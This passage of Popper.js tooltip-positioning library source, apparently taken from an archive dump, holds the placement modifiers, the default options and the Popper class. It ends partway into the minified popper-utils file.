      }

      if (flippedVariation) {
        variation = getOppositeVariation(variation);
      }

      data.placement = placement + (variation ? '-' + variation : '');

      // this object contains `position`, we want to preserve it along with
      // any additional property we may add in the future
      data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));

      data = runModifiers(data.instance.modifiers, data, 'flip');
    }
  });
  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function keepTogether(data) {
  var _data$offsets = data.offsets,
      popper = _data$offsets.popper,
      reference = _data$offsets.reference;

  var placement = data.placement.split('-')[0];
  var floor = Math.floor;
  var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;
  var side = isVertical ? 'right' : 'bottom';
  var opSide = isVertical ? 'left' : 'top';
  var measurement = isVertical ? 'width' : 'height';

  if (popper[side] < floor(reference[opSide])) {
    data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];
  }
  if (popper[opSide] > floor(reference[side])) {
    data.offsets.popper[opSide] = floor(reference[side]);
  }

  return data;
}

/**
 * Converts a string containing value + unit into a px value number
 * @function
 * @memberof {modifiers~offset}
 * @private
 * @argument {String} str - Value + unit string
 * @argument {String} measurement - `height` or `width`
 * @argument {Object} popperOffsets
 * @argument {Object} referenceOffsets
 * @returns {Number|String}
 * Value in pixels, or original string if no values were extracted
 */
function toValue(str, measurement, popperOffsets, referenceOffsets) {
  // separate value from unit
  var split = str.match(/((?:\-|\+)?\d*\.?\d*)(.*)/);
  var value = +split[1];
  var unit = split[2];

  // If it's not a number it's an operator, I guess
  if (!value) {
    return str;
  }

  if (unit.indexOf('%') === 0) {
    var element = void 0;
    switch (unit) {
      case '%p':
        element = popperOffsets;
        break;
      case '%':
      case '%r':
      default:
        element = referenceOffsets;
    }

    var rect = getClientRect(element);
    return rect[measurement] / 100 * value;
  } else if (unit === 'vh' || unit === 'vw') {
    // if is a vh or vw, we calculate the size based on the viewport
    var size = void 0;
    if (unit === 'vh') {
      size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);
    } else {
      size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);
    }
    return size / 100 * value;
  } else {
    // if is an explicit pixel unit, we get rid of the unit and keep the value
    // if is an implicit unit, it's px, and we return just the value
    return value;
  }
}

/**
 * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.
 * @function
 * @memberof {modifiers~offset}
 * @private
 * @argument {String} offset
 * @argument {Object} popperOffsets
 * @argument {Object} referenceOffsets
 * @argument {String} basePlacement
 * @returns {Array} a two cells array with x and y offsets in numbers
 */
function parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {
  var offsets = [0, 0];

  // Use height if placement is left or right and index is 0 otherwise use width
  // in this way the first offset will use an axis and the second one
  // will use the other one
  var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;

  // Split the offset string to obtain a list of values and operands
  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)
  var fragments = offset.split(/(\+|\-)/).map(function (frag) {
    return frag.trim();
  });

  // Detect if the offset string contains a pair of values or a single one
  // they could be separated by comma or space
  var divider = fragments.indexOf(find(fragments, function (frag) {
    return frag.search(/,|\s/) !== -1;
  }));

  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {
    console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');
  }

  // If divider is found, we divide the list of values and operands to divide
  // them by ofset X and Y.
  var splitRegex = /\s*,\s*|\s+/;
  var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];

  // Convert the values with units to absolute pixels to allow our computations
  ops = ops.map(function (op, index) {
    // Most of the units rely on the orientation of the popper
    var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';
    var mergeWithPrevious = false;
    return op
    // This aggregates any `+` or `-` sign that aren't considered operators
    // e.g.: 10 + +5 => [10, +, +5]
    .reduce(function (a, b) {
      if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {
        a[a.length - 1] = b;
        mergeWithPrevious = true;
        return a;
      } else if (mergeWithPrevious) {
        a[a.length - 1] += b;
        mergeWithPrevious = false;
        return a;
      } else {
        return a.concat(b);
      }
    }, [])
    // Here we convert the string values into number values (in px)
    .map(function (str) {
      return toValue(str, measurement, popperOffsets, referenceOffsets);
    });
  });

  // Loop trough the offsets arrays and execute the operations
  ops.forEach(function (op, index) {
    op.forEach(function (frag, index2) {
      if (isNumeric(frag)) {
        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);
      }
    });
  });
  return offsets;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @argument {Number|String} options.offset=0
 * The offset value as described in the modifier description
 * @returns {Object} The data object, properly modified
 */
function offset(data, _ref) {
  var offset = _ref.offset;
  var placement = data.placement,
      _data$offsets = data.offsets,
      popper = _data$offsets.popper,
      reference = _data$offsets.reference;

  var basePlacement = placement.split('-')[0];

  var offsets = void 0;
  if (isNumeric(+offset)) {
    offsets = [+offset, 0];
  } else {
    offsets = parseOffset(offset, popper, reference, basePlacement);
  }

  if (basePlacement === 'left') {
    popper.top += offsets[0];
    popper.left -= offsets[1];
  } else if (basePlacement === 'right') {
    popper.top += offsets[0];
    popper.left += offsets[1];
  } else if (basePlacement === 'top') {
    popper.left += offsets[0];
    popper.top -= offsets[1];
  } else if (basePlacement === 'bottom') {
    popper.left += offsets[0];
    popper.top += offsets[1];
  }

  data.popper = popper;
  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function preventOverflow(data, options) {
  var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);

  // If offsetParent is the reference element, we really want to
  // go one step up and use the next offsetParent as reference to
  // avoid to make this modifier completely useless and look like broken
  if (data.instance.reference === boundariesElement) {
    boundariesElement = getOffsetParent(boundariesElement);
  }

  // NOTE: DOM access here
  // resets the popper's position so that the document size can be calculated excluding
  // the size of the popper element itself
  var transformProp = getSupportedPropertyName('transform');
  var popperStyles = data.instance.popper.style; // assignment to help minification
  var top = popperStyles.top,
      left = popperStyles.left,
      transform = popperStyles[transformProp];

  popperStyles.top = '';
  popperStyles.left = '';
  popperStyles[transformProp] = '';

  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);

  // NOTE: DOM access here
  // restores the original style properties after the offsets have been computed
  popperStyles.top = top;
  popperStyles.left = left;
  popperStyles[transformProp] = transform;

  options.boundaries = boundaries;

  var order = options.priority;
  var popper = data.offsets.popper;

  var check = {
    primary: function primary(placement) {
      var value = popper[placement];
      if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {
        value = Math.max(popper[placement], boundaries[placement]);
      }
      return defineProperty({}, placement, value);
    },
    secondary: function secondary(placement) {
      var mainSide = placement === 'right' ? 'left' : 'top';
      var value = popper[mainSide];
      if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {
        value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));
      }
      return defineProperty({}, mainSide, value);
    }
  };

  order.forEach(function (placement) {
    var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';
    popper = _extends({}, popper, check[side](placement));
  });

  data.offsets.popper = popper;

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function shift(data) {
  var placement = data.placement;
  var basePlacement = placement.split('-')[0];
  var shiftvariation = placement.split('-')[1];

  // if shift shiftvariation is specified, run the modifier
  if (shiftvariation) {
    var _data$offsets = data.offsets,
        reference = _data$offsets.reference,
        popper = _data$offsets.popper;

    var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;
    var side = isVertical ? 'left' : 'top';
    var measurement = isVertical ? 'width' : 'height';

    var shiftOffsets = {
      start: defineProperty({}, side, reference[side]),
      end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])
    };

    data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);
  }

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function hide(data) {
  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {
    return data;
  }

  var refRect = data.offsets.reference;
  var bound = find(data.instance.modifiers, function (modifier) {
    return modifier.name === 'preventOverflow';
  }).boundaries;

  if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {
    // Avoid unnecessary DOM access if visibility hasn't changed
    if (data.hide === true) {
      return data;
    }

    data.hide = true;
    data.attributes['x-out-of-boundaries'] = '';
  } else {
    // Avoid unnecessary DOM access if visibility hasn't changed
    if (data.hide === false) {
      return data;
    }

    data.hide = false;
    data.attributes['x-out-of-boundaries'] = false;
  }

  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function inner(data) {
  var placement = data.placement;
  var basePlacement = placement.split('-')[0];
  var _data$offsets = data.offsets,
      popper = _data$offsets.popper,
      reference = _data$offsets.reference;

  var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;

  var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;

  popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);

  data.placement = getOppositePlacement(placement);
  data.offsets.popper = getClientRect(popper);

  return data;
}

/**
 * Modifier function, each modifier can have a function of this type assigned
 * to its `fn` property.<br />
 * These functions will be called on each update, this means that you must
 * make sure they are performant enough to avoid performance bottlenecks.
 *
 * @function ModifierFn
 * @argument {dataObject} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {dataObject} The data object, properly modified
 */

/**
 * Modifiers are plugins used to alter the behavior of your poppers.<br />
 * Popper.js uses a set of 9 modifiers to provide all the basic functionalities
 * needed by the library.
 *
 * Usually you don't want to override the `order`, `fn` and `onLoad` props.
 * All the other properties are configurations that could be tweaked.
 * @namespace modifiers
 */
var modifiers = {
  /**
   * Modifier used to shift the popper on the start or end of its reference
   * element.<br />
   * It will read the variation of the `placement` property.<br />
   * It can be one either `-end` or `-start`.
   * @memberof modifiers
   * @inner
   */
  shift: {
    /** @prop {number} order=100 - Index used to define the order of execution */
    order: 100,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: shift
  },

  /**
   * The `offset` modifier can shift your popper on both its axis.
   *
   * It accepts the following units:
   * - `px` or unit-less, interpreted as pixels
   * - `%` or `%r`, percentage relative to the length of the reference element
   * - `%p`, percentage relative to the length of the popper element
   * - `vw`, CSS viewport width unit
   * - `vh`, CSS viewport height unit
   *
   * For length is intended the main axis relative to the placement of the popper.<br />
   * This means that if the placement is `top` or `bottom`, the length will be the
   * `width`. In case of `left` or `right`, it will be the `height`.
   *
   * You can provide a single value (as `Number` or `String`), or a pair of values
   * as `String` divided by a comma or one (or more) white spaces.<br />
   * The latter is a deprecated method because it leads to confusion and will be
   * removed in v2.<br />
   * Additionally, it accepts additions and subtractions between different units.
   * Note that multiplications and divisions aren't supported.
   *
   * Valid examples are:
   * ```
   * 10
   * '10%'
   * '10, 10'
   * '10%, 10'
   * '10 + 10%'
   * '10 - 5vh + 3%'
   * '-10px + 5vh, 5px - 6%'
   * ```
   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap
   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.
   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).
   *
   * @memberof modifiers
   * @inner
   */
  offset: {
    /** @prop {number} order=200 - Index used to define the order of execution */
    order: 200,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: offset,
    /** @prop {Number|String} offset=0
     * The offset value as described in the modifier description
     */
    offset: 0
  },

  /**
   * Modifier used to prevent the popper from being positioned outside the boundary.
   *
   * A scenario exists where the reference itself is not within the boundaries.<br />
   * We can say it has "escaped the boundaries" — or just "escaped".<br />
   * In this case we need to decide whether the popper should either:
   *
   * - detach from the reference and remain "trapped" in the boundaries, or
   * - if it should ignore the boundary and "escape with its reference"
   *
   * When `escapeWithReference` is set to`true` and reference is completely
   * outside its boundaries, the popper will overflow (or completely leave)
   * the boundaries in order to remain attached to the edge of the reference.
   *
   * @memberof modifiers
   * @inner
   */
  preventOverflow: {
    /** @prop {number} order=300 - Index used to define the order of execution */
    order: 300,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: preventOverflow,
    /**
     * @prop {Array} [priority=['left','right','top','bottom']]
     * Popper will try to prevent overflow following these priorities by default,
     * then, it could overflow on the left and on top of the `boundariesElement`
     */
    priority: ['left', 'right', 'top', 'bottom'],
    /**
     * @prop {number} padding=5
     * Amount of pixel used to define a minimum distance between the boundaries
     * and the popper. This makes sure the popper always has a little padding
     * between the edges of its container
     */
    padding: 5,
    /**
     * @prop {String|HTMLElement} boundariesElement='scrollParent'
     * Boundaries used by the modifier. Can be `scrollParent`, `window`,
     * `viewport` or any DOM element.
     */
    boundariesElement: 'scrollParent'
  },

  /**
   * Modifier used to make sure the reference and its popper stay near each other
   * without leaving any gap between the two. Especially useful when the arrow is
   * enabled and you want to ensure that it points to its reference element.
   * It cares only about the first axis. You can still have poppers with margin
   * between the popper and its reference element.
   * @memberof modifiers
   * @inner
   */
  keepTogether: {
    /** @prop {number} order=400 - Index used to define the order of execution */
    order: 400,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: keepTogether
  },

  /**
   * This modifier is used to move the `arrowElement` of the popper to make
   * sure it is positioned between the reference element and its popper element.
   * It will read the outer size of the `arrowElement` node to detect how many
   * pixels of conjunction are needed.
   *
   * It has no effect if no `arrowElement` is provided.
   * @memberof modifiers
   * @inner
   */
  arrow: {
    /** @prop {number} order=500 - Index used to define the order of execution */
    order: 500,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: arrow,
    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */
    element: '[x-arrow]'
  },

  /**
   * Modifier used to flip the popper's placement when it starts to overlap its
   * reference element.
   *
   * Requires the `preventOverflow` modifier before it in order to work.
   *
   * **NOTE:** this modifier will interrupt the current update cycle and will
   * restart it if it detects the need to flip the placement.
   * @memberof modifiers
   * @inner
   */
  flip: {
    /** @prop {number} order=600 - Index used to define the order of execution */
    order: 600,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: flip,
    /**
     * @prop {String|Array} behavior='flip'
     * The behavior used to change the popper's placement. It can be one of
     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid
     * placements (with optional variations)
     */
    behavior: 'flip',
    /**
     * @prop {number} padding=5
     * The popper will flip if it hits the edges of the `boundariesElement`
     */
    padding: 5,
    /**
     * @prop {String|HTMLElement} boundariesElement='viewport'
     * The element which will define the boundaries of the popper position.
     * The popper will never be placed outside of the defined boundaries
     * (except if `keepTogether` is enabled)
     */
    boundariesElement: 'viewport'
  },

  /**
   * Modifier used to make the popper flow toward the inner of the reference element.
   * By default, when this modifier is disabled, the popper will be placed outside
   * the reference element.
   * @memberof modifiers
   * @inner
   */
  inner: {
    /** @prop {number} order=700 - Index used to define the order of execution */
    order: 700,
    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */
    enabled: false,
    /** @prop {ModifierFn} */
    fn: inner
  },

  /**
   * Modifier used to hide the popper when its reference element is outside of the
   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can
   * be used to hide with a CSS selector the popper when its reference is
   * out of boundaries.
   *
   * Requires the `preventOverflow` modifier before it in order to work.
   * @memberof modifiers
   * @inner
   */
  hide: {
    /** @prop {number} order=800 - Index used to define the order of execution */
    order: 800,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: hide
  },

  /**
   * Computes the style that will be applied to the popper element to gets
   * properly positioned.
   *
   * Note that this modifier will not touch the DOM, it just prepares the styles
   * so that `applyStyle` modifier can apply it. This separation is useful
   * in case you need to replace `applyStyle` with a custom implementation.
   *
   * This modifier has `850` as `order` value to maintain backward compatibility
   * with previous versions of Popper.js. Expect the modifiers ordering method
   * to change in future major versions of the library.
   *
   * @memberof modifiers
   * @inner
   */
  computeStyle: {
    /** @prop {number} order=850 - Index used to define the order of execution */
    order: 850,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: computeStyle,
    /**
     * @prop {Boolean} gpuAcceleration=true
     * If true, it uses the CSS 3D transformation to position the popper.
     * Otherwise, it will use the `top` and `left` properties
     */
    gpuAcceleration: true,
    /**
     * @prop {string} [x='bottom']
     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.
     * Change this if your popper should grow in a direction different from `bottom`
     */
    x: 'bottom',
    /**
     * @prop {string} [x='left']
     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.
     * Change this if your popper should grow in a direction different from `right`
     */
    y: 'right'
  },

  /**
   * Applies the computed styles to the popper element.
   *
   * All the DOM manipulations are limited to this modifier. This is useful in case
   * you want to integrate Popper.js inside a framework or view library and you
   * want to delegate all the DOM manipulations to it.
   *
   * Note that if you disable this modifier, you must make sure the popper element
   * has its position set to `absolute` before Popper.js can do its work!
   *
   * Just disable this modifier and define your own to achieve the desired effect.
   *
   * @memberof modifiers
   * @inner
   */
  applyStyle: {
    /** @prop {number} order=900 - Index used to define the order of execution */
    order: 900,
    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */
    enabled: true,
    /** @prop {ModifierFn} */
    fn: applyStyle,
    /** @prop {Function} */
    onLoad: applyStyleOnLoad,
    /**
     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier
     * @prop {Boolean} gpuAcceleration=true
     * If true, it uses the CSS 3D transformation to position the popper.
     * Otherwise, it will use the `top` and `left` properties
     */
    gpuAcceleration: undefined
  }
};

/**
 * The `dataObject` is an object containing all the information used by Popper.js.
 * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.
 * @name dataObject
 * @property {Object} data.instance The Popper.js instance
 * @property {String} data.placement Placement applied to popper
 * @property {String} data.originalPlacement Placement originally defined on init
 * @property {Boolean} data.flipped True if popper has been flipped by flip modifier
 * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper
 * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier
 * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)
 * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)
 * @property {Object} data.boundaries Offsets of the popper boundaries
 * @property {Object} data.offsets The measurements of popper, reference and arrow elements
 * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values
 * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values
 * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0
 */

/**
 * Default options provided to Popper.js constructor.<br />
 * These can be overridden using the `options` argument of Popper.js.<br />
 * To override an option, simply pass an object with the same
 * structure of the `options` object, as the 3rd argument. For example:
 * ```
 * new Popper(ref, pop, {
 *   modifiers: {
 *     preventOverflow: { enabled: false }
 *   }
 * })
 * ```
 * @type {Object}
 * @static
 * @memberof Popper
 */
var Defaults = {
  /**
   * Popper's placement.
   * @prop {Popper.placements} placement='bottom'
   */
  placement: 'bottom',

  /**
   * Set this to true if you want popper to position it self in 'fixed' mode
   * @prop {Boolean} positionFixed=false
   */
  positionFixed: false,

  /**
   * Whether events (resize, scroll) are initially enabled.
   * @prop {Boolean} eventsEnabled=true
   */
  eventsEnabled: true,

  /**
   * Set to true if you want to automatically remove the popper when
   * you call the `destroy` method.
   * @prop {Boolean} removeOnDestroy=false
   */
  removeOnDestroy: false,

  /**
   * Callback called when the popper is created.<br />
   * By default, it is set to no-op.<br />
   * Access Popper.js instance with `data.instance`.
   * @prop {onCreate}
   */
  onCreate: function onCreate() {},

  /**
   * Callback called when the popper is updated. This callback is not called
   * on the initialization/creation of the popper, but only on subsequent
   * updates.<br />
   * By default, it is set to no-op.<br />
   * Access Popper.js instance with `data.instance`.
   * @prop {onUpdate}
   */
  onUpdate: function onUpdate() {},

  /**
   * List of modifiers used to modify the offsets before they are applied to the popper.
   * They provide most of the functionalities of Popper.js.
   * @prop {modifiers}
   */
  modifiers: modifiers
};

/**
 * @callback onCreate
 * @param {dataObject} data
 */

/**
 * @callback onUpdate
 * @param {dataObject} data
 */

// Utils
// Methods
var Popper = function () {
  /**
   * Creates a new Popper.js instance.
   * @class Popper
   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper
   * @param {HTMLElement} popper - The HTML element used as the popper
   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)
   * @return {Object} instance - The generated Popper.js instance
   */
  function Popper(reference, popper) {
    var _this = this;

    var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
    classCallCheck(this, Popper);

    this.scheduleUpdate = function () {
      return requestAnimationFrame(_this.update);
    };

    // make update() debounced, so that it only runs at most once-per-tick
    this.update = debounce(this.update.bind(this));

    // with {} we create a new object with the options inside it
    this.options = _extends({}, Popper.Defaults, options);

    // init state
    this.state = {
      isDestroyed: false,
      isCreated: false,
      scrollParents: []
    };

    // get reference and popper elements (allow jQuery wrappers)
    this.reference = reference && reference.jquery ? reference[0] : reference;
    this.popper = popper && popper.jquery ? popper[0] : popper;

    // Deep merge modifiers options
    this.options.modifiers = {};
    Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {
      _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});
    });

    // Refactoring modifiers' list (Object => Array)
    this.modifiers = Object.keys(this.options.modifiers).map(function (name) {
      return _extends({
        name: name
      }, _this.options.modifiers[name]);
    })
    // sort the modifiers by order
    .sort(function (a, b) {
      return a.order - b.order;
    });

    // modifiers have the ability to execute arbitrary code when Popper.js get inited
    // such code is executed in the same order of its modifier
    // they could add new properties to their options configuration
    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!
    this.modifiers.forEach(function (modifierOptions) {
      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {
        modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);
      }
    });

    // fire the first update to position the popper in the right place
    this.update();

    var eventsEnabled = this.options.eventsEnabled;
    if (eventsEnabled) {
      // setup event listeners, they will take care of update the position in specific situations
      this.enableEventListeners();
    }

    this.state.eventsEnabled = eventsEnabled;
  }

  // We can't use class properties because they don't get listed in the
  // class prototype and break stuff like Sinon stubs


  createClass(Popper, [{
    key: 'update',
    value: function update$$1() {
      return update.call(this);
    }
  }, {
    key: 'destroy',
    value: function destroy$$1() {
      return destroy.call(this);
    }
  }, {
    key: 'enableEventListeners',
    value: function enableEventListeners$$1() {
      return enableEventListeners.call(this);
    }
  }, {
    key: 'disableEventListeners',
    value: function disableEventListeners$$1() {
      return disableEventListeners.call(this);
    }

    /**
     * Schedules an update. It will run on the next UI update available.
     * @method scheduleUpdate
     * @memberof Popper
     */


    /**
     * Collection of utilities useful when writing custom modifiers.
     * Starting from version 1.7, this method is available only if you
     * include `popper-utils.js` before `popper.js`.
     *
     * **DEPRECATION**: This way to access PopperUtils is deprecated
     * and will be removed in v2! Use the PopperUtils module directly instead.
     * Due to the high instability of the methods contained in Utils, we can't
     * guarantee them to follow semver. Use them at your own risk!
     * @static
     * @private
     * @type {Object}
     * @deprecated since version 1.8
     * @member Utils
     * @memberof Popper
     */

  }]);
  return Popper;
}();

/**
 * The `referenceObject` is an object that provides an interface compatible with Popper.js
 * and lets you use it as replacement of a real DOM node.<br />
 * You can use this method to position a popper relatively to a set of coordinates
 * in case you don't have a DOM node to use as reference.
 *
 * ```
 * new Popper(referenceObject, popperNode);
 * ```
 *
 * NB: This feature isn't supported in Internet Explorer 10.
 * @name referenceObject
 * @property {Function} data.getBoundingClientRect
 * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.
 * @property {number} data.clientWidth
 * An ES6 getter that will return the width of the virtual reference element.
 * @property {number} data.clientHeight
 * An ES6 getter that will return the height of the virtual reference element.
 */


Popper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;
Popper.placements = placements;
Popper.Defaults = Defaults;

return Popper;

})));
//# sourceMappingURL=popper.js.map
popper-utils.min.js000064400000023535151677356750010365 0ustar00/*
 Copyright (C) Federico Zivolo 2018
 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
 */function a(a,b){if(1!==a.nodeType)return[];const c=a.ownerDocument.defaultView,d=c.getComputedStyle(a,null);return b?d[b]:d}function b(a){return'HTML'===a.nodeName?a:a.parentNode||a.host}function c(d){if(!d)return document.body;switch(d.nodeName){case'HTML':case'BODY':return d.ownerDocument.body;case'#document':return d.body;}const{overflow:e,overflowX:f,overflowY:g}=a(d);return /(auto|scroll|overlay)/.test(e+g+f)?d:c(b(d))}var d='undefined'!=typeof window&&'undefined'!=typeof document;const e=d&&!!(window.MSInputMethodContext&&document.documentMode),f=d&&/MSIE 10/.test(navigator.userAgent);function g(a){return 11===a?e:10===a?f:e||f}function h(b){if(!b)return document.documentElement;const c=g(10)?document.body:null;let d=b.offsetParent||null;for(;d===c&&b.nextElementSibling;)d=(b=b.nextElementSibling).offsetParent;const e=d&&d.nodeName;return e&&'BODY'!==e&&'HTML'!==e?-1!==['TH','TD','TABLE'].indexOf(d.nodeName)&&'static'===a(d,'position')?h(d):d:b?b.ownerDocument.documentElement:document.documentElement}function i(a){const{nodeName:b}=a;return'BODY'!==b&&('HTML'===b||h(a.firstElementChild)===a)}function j(a){return null===a.parentNode?a:j(a.parentNode)}function k(a,b){if(!a||!a.nodeType||!b||!b.nodeType)return document.documentElement;const c=a.compareDocumentPosition(b)&Node.DOCUMENT_POSITION_FOLLOWING,d=c?a:b,e=c?b:a,f=document.createRange();f.setStart(d,0),f.setEnd(e,0);const{commonAncestorContainer:g}=f;if(a!==g&&b!==g||d.contains(e))return i(g)?g:h(g);const l=j(a);return l.host?k(l.host,b):k(a,j(b).host)}function l(a,b='top'){const c='top'===b?'scrollTop':'scrollLeft',d=a.nodeName;if('BODY'===d||'HTML'===d){const b=a.ownerDocument.documentElement,d=a.ownerDocument.scrollingElement||b;return d[c]}return a[c]}function m(a,b,c=!1){const d=l(b,'top'),e=l(b,'left'),f=c?-1:1;return a.top+=d*f,a.bottom+=d*f,a.left+=e*f,a.right+=e*f,a}function n(a,b){const c='x'===b?'Left':'Top',d='Left'==c?'Right':'Bottom';return parseFloat(a[`border${c}Width`],10)+parseFloat(a[`border${d}Width`],10)}function o(a,b,c,d){return Math.max(b[`offset${a}`],b[`scroll${a}`],c[`client${a}`],c[`offset${a}`],c[`scroll${a}`],g(10)?parseInt(c[`offset${a}`])+parseInt(d[`margin${'Height'===a?'Top':'Left'}`])+parseInt(d[`margin${'Height'===a?'Bottom':'Right'}`]):0)}function p(a){const b=a.body,c=a.documentElement,d=g(10)&&getComputedStyle(c);return{height:o('Height',b,c,d),width:o('Width',b,c,d)}}var q=Object.assign||function(a){for(var b,c=1;c<arguments.length;c++)for(var d in b=arguments[c],b)Object.prototype.hasOwnProperty.call(b,d)&&(a[d]=b[d]);return a};function r(a){return q({},a,{right:a.left+a.width,bottom:a.top+a.height})}function s(b){let c={};try{if(g(10)){c=b.getBoundingClientRect();const a=l(b,'top'),d=l(b,'left');c.top+=a,c.left+=d,c.bottom+=a,c.right+=d}else c=b.getBoundingClientRect()}catch(a){}const d={left:c.left,top:c.top,width:c.right-c.left,height:c.bottom-c.top},e='HTML'===b.nodeName?p(b.ownerDocument):{},f=e.width||b.clientWidth||d.right-d.left,h=e.height||b.clientHeight||d.bottom-d.top;let i=b.offsetWidth-f,j=b.offsetHeight-h;if(i||j){const c=a(b);i-=n(c,'x'),j-=n(c,'y'),d.width-=i,d.height-=j}return r(d)}function t(b,d,e=!1){var f=Math.max;const h=g(10),i='HTML'===d.nodeName,j=s(b),k=s(d),l=c(b),n=a(d),o=parseFloat(n.borderTopWidth,10),p=parseFloat(n.borderLeftWidth,10);e&&i&&(k.top=f(k.top,0),k.left=f(k.left,0));let q=r({top:j.top-k.top-o,left:j.left-k.left-p,width:j.width,height:j.height});if(q.marginTop=0,q.marginLeft=0,!h&&i){const a=parseFloat(n.marginTop,10),b=parseFloat(n.marginLeft,10);q.top-=o-a,q.bottom-=o-a,q.left-=p-b,q.right-=p-b,q.marginTop=a,q.marginLeft=b}return(h&&!e?d.contains(l):d===l&&'BODY'!==l.nodeName)&&(q=m(q,d)),q}function u(a,b=!1){var c=Math.max;const 